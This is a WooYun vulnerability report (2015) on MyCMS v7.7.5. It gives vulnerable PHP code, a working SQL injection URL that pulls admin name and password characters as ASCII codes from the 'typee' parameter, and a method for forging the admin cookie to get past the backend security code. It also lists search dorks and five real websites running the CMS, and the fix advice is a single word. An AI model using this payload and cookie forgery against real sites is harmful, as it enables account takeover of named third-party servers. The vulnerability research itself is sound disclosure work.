当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-095700

漏洞标题:MyCMS v7.7.5_UTF-8 sql注入等问题

相关厂商:MyCMS

漏洞作者: roker

提交时间:2015-02-11 15:48

修复时间:2015-04-30 18:48

公开时间:2015-04-30 18:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-11: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-04-30: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

用户量还不错的一个看电影和有声小说的cms
两处sql注入+绕过安全码进入后台。
官网demo.

详细说明:

第一处注入。
/plus/mood/index.php

$action = be("get", "action");
$m_vid = be("all", "m_vid");
$m_type = be("all", "m_type");
if (!isNum($m_vid)){ echo "非法访问";exit; }
If (!isNum($m_type)) { echo "非法访问";exit; }
........
function show()
{
global $m_vid,$m_type,$db;
$row = $db->getRow("SELECT * FROM {pre}mood WHERE m_vid=" . $m_vid . " AND m_type=" . $m_type);
if ($row){
$mood1 = $row["mood1"];
$mood2 = $row["mood2"];
$mood3 = $row["mood3"];
$mood4 = $row["mood4"];
$mood5 = $row["mood5"];
$mood6 = $row["mood6"];
$mood7 = $row["mood7"];
$mood8 = $row["mood8"];
$mood9 = $row["mood9"];
echo "" . $mood1 . "," . $mood2 . "," . $mood3 . "," . $mood4 . "," . $mood5 . "," . $mood6 . "," . $mood7 . "," . $mood8 . "," . $mood9 . "";
}
else{
$db->Add ("{pre}mood", array("m_vid", "m_type"), array($m_vid, $m_type));
echo "0,0,0,0,0,0,0,0,0";
}
unset($row);
}

function mood()
{
global $m_vid,$m_type,$db;
$typee = be("get", "typee");

if (isN($typee)){ echo "非法访问";exit;}
$db->query("Update {pre}mood set " . $typee . "=" . $typee . "+1 where m_vid=" . $m_vid . " and m_type=" . $m_type);
show();
}


只对 m_vid 和m_type 做了判断。typee 没有单引号包裹。导致注入。
因为uptate 后进入了 show(), 将数据显示出来了,所以可以直接出数据。
不过字段是 int的 所以要先转换为 asc码。
栗子:

1.png


plus/mood/index.php?m_vid=1&m_type=1&action=mood&typee=mood1=(select ord(substring(concat(m_name,m_password),1,1)) from mac_manager limit 1) where m_vid=1 and m_type=1%23


将a的asc码显示出来了。
脚本跑下就出来了。
#2
/plus/digg/index.php

$action = be("get", "action");
$d_vid = be("get", "d_vid");
$d_type = be("get", "d_type");
if (!isNum($d_vid)) { echo "非法访问" ; exit;}
if (!isNum($d_type)) { echo "非法访问"; exit;}
........
function digg()
{
global $db,$d_vid,$d_type;
$typee = be("get", "typee");
if (isN($typee)){ echo "非法访问"; exit;}
if (getCookie("voddigg_" . $d_vid)== "ok"){ echo "1"; exit;}
$db->query("Update {pre}vod set " . $typee . "=" . $typee . "+1 where d_id=" . $d_vid);
sCookie ("voddigg_" . $d_vid, "ok");
}


同样,忘记对 typee过滤了,造成注入。
现在 问题来了
这个cms有安全码,所以解出了管理密码 也不能进后台。
看看他的判断函数

function chkLogin()
{
global $db;
$m_id = getCookie("adminid");
$m_id = chkSql($m_id,true);
$m_name = getCookie("adminname");
$m_name = chkSql($m_name,true);

if (!isN($m_name) && !isN($m_id)){
$row = $db->getRow("SELECT * FROM {pre}manager WHERE m_name='" . $m_name ."' AND m_id= '".$m_id ."' AND m_status ='1'");
if($row){
$loginValidate = md5($row["m_random"] . $row["m_name"] . $row["m_id"]);
if (getCookie("admincheck") != $loginValidate){
sCookie ("admincheck","");
die( "<script>top.location.href='index.php?action=login';</script>");
}
}
else{
sCookie ("admincheck","");
die("<script>top.location.href='index.php?action=login';</script>");
}
}
else{
die("<script>top.location.href='index.php?action=login';</script>");
}
}


cookie验证。 只要得到 $row["m_random"] . $row["m_name"] . $row["m_id"]的值 就能进入后台了。
这个值 可以用第一处的注入把它显示出来。 官网为例
(poc见测试代码。)

2.png


修改 cookie值 ,

3.png


成功进入后台~
关键字
inurl:"/vodplay/?.html"
inurl:"vodlist/?.html"
感觉用户量蛮多的样子~
随意5个例子
http://www.86usd.com/
http://www.yinyangshi.com/
http://756k.com/
http://dy.huaididi.net/
http://www.huarenys.cc

1.png

2.png

漏洞证明:

3.png


1.png

2.png

修复方案:

过滤下~

版权声明:转载请注明来源 roker@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝